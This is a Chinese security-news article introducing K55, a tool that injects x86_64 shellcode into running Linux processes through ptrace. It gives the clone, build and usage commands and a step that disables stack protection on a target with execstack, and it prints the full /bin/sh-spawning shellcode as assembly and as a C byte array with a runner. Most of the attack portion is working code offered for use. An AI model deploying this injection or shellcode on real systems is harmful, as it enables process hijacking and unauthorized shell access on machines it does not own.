freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

如何使用K55实现Linux x86_64进程注入
2021-01-25 12:09:27

关于K55

K55是一款 Payload注入工具,该工具可以向正在运行的进程注入x86_64 shellcode Payload。该工具使用现代C++11技术开发,并且继承了某些传统的C Linux函数,比如说ptrace()等等。在目标进程中生成的shellcode长度为27个字节,并且能够在目标进程的地址空间中执行/bin/sh(生成一个Bash shell)。将来,我们还会支持允许用户通过命令行参数输入自己的shellcode。

工具安装

广大研究人员可以使用下列命令将该项目源码克隆至本地,然后完成工具的安装、构建与配置:

git clone https://github.com/josh0xA/K55.git

cd K55

chmod +x build-install.sh

./build-install.sh

K55使用

Usage: ./K55 <process-name>

上述命令中的process-name进程名可以是任何带有r-xp或execstack权限的Linux进程。

测试

测试1 - 打开一个命令行窗口,切换至K55/目录下,然后运行下列命令:

./k55_example_process/k55_test_process

测试2 - 打开另一个命令行窗口,通过下列命令运行注入器:

sudo ./K55 k55_test_process

K55使用样例

当K55的shellcode注入器以root权限运行之后,将会在k55_test_process中生成一个shell。

向给定进程注入Payload:

在目标进程中生成Shell:

注入成功并生成Shell:

工具限制

很明显,针对ptrace的调用肯定不够隐蔽。因此,还是会有一些应用可以限制K55的功能。不过,对于安全测试来说,我们还需要确保目标应用程序启用了execstack。比如说,如果我在gdb上进行测试,那么在注入之前,我需要运行下列命令:

sudo execstack -s /usr/bin/gdb

如果你是用的是Arch Linux,你可以直接在AUR中找到execstack。

制作Shell Payload

注意:在下面给出的例子中,Payload字符串已经硬编码进了K55之中。

Payload汇编代码实现

main:

    xor eax, eax

    mov rbx, 0xFF978CD091969DD1

    neg rbx

    push rbx

    push rsp

    pop rdi

    cdq

    push rdx

    push rdi

    push rsp

    pop rsi

    mov al, 0x3b

Syscall

Payload的C语言实现

#include <stdio.h>

#include <string.h>

 

// Shellcode breakdown of the assembly code.

char code[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";

 

int main()

{

    printf("len:%d bytes\n", strlen(code));

    (*(void(*)()) code)();

    return 0;

}

许可证协议

本项目的开发与发布遵循MIT开源许可证协议。

项目地址

K55:【GitHub传送门

参考资料

http://shell-storm.org/shellcode/files/shellcode-806.php

https://0x00sec.org/t/linux-infecting-running-processes/1097

# payload # shellcode工具 # 进程注入
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录